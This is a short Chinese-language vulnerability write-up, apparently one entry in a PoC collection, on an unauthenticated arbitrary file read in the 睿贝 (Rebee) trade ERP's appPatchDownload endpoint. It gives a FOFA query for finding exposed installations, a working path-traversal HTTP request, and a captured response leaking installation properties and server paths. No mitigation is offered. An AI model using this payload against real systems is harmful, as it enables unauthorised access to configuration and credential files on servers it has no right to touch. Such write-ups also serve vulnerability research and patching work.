

R16-1睿贝-外贸ERP软件-任意文件读取

漏洞描述:

睿贝外贸ERP appPatchDownload 接口处存在任意文件读取漏洞, 未经身份验证攻击者可通过该漏洞读取系统重要文件 (如数据库配置文件、系统配置文件)、数据库配置文件等等, 导致网站处于极度不安全状态。

网站图片:



网络测绘:

fofa语法:

```
body="loginNeedMobileNumVerification" || body="睿贝软件"
```

漏洞复现:

payload:

```
GET /appPatchDownload?fileName=../../../../RebeeCRM/_RebeeCRM_installation/installvariables.properties HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
```

效果图:

读取系统配置文件

Request

< > 数据包扫描 美化 热加载 构造请求

```
1 GET /appPatchDownLoad?fileName=../../../../RebeeCRM/_RebeeCRM_installation/installvariables.  
properties HTTP/1.1  
2 Host :  
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36  
4 Connection: close  
5 Accept-Encoding: gzip, deflate
```

Responses 4728bytes / 192ms

```
1 HTTP/1.1 200  
2 Content-Disposition: attachment; filename=installvariables.properties  
3 Content-Type: application/octet-stream  
4 Date: Fri, 12 Apr 2024 14:28:10 GMT  
5 Connection: close  
6 Content-Length: 4728  
7  
8 #These are properties serialized from  
9 #Tue Dec 17 11:01:49 CST 2019  
10 IA_CLASSPATH=  
11 DESKTOP=C:\\Users\\Administrator\\  
12 WIN_COMMON_STARTUP=C:\\ProgramData\\  
13 INSTALLER_JDK_HOME=  
14 MAC_APPLE_MENU=  
15 INSTALL_DRIVE_ROOT=D:\\  
16 SYSTEM=C:\\Windows\\SysWOW64\\  
17 PRODUCT_ID=ceac2f79-1f08-11b2-b289-  
18 EMPTY_STRING=  
19 PROGRAMS_DIR_32=C:\\Program Files\\  
20 UNIX_OPT=  
21 OVERWRITE_IA_CHMOD=false  
22 DEPENDENCY_SUCCESSES=  
23 DEPENDENCY_REPORT=  
24 COMMA=,  
25 PRODUCT_NAME=RebeeCRM  
26 DEPENDENCY_FAILURES=  
27 INSTALL_SUCCESS=WARNING  
28 REQUIRED_DISK_SPACE_BYTES=72581328  
29 SYSTEM_32=C:\\Windows\\SysWOW64\\  
30 FREE_DISK_SPACE_MEGABYTES=827399  
31 CHOSEN_INSTALL_FEATURE_NUM=2  
32 -fileOverwrite_D\\:\\\\RebeeCRM\\
```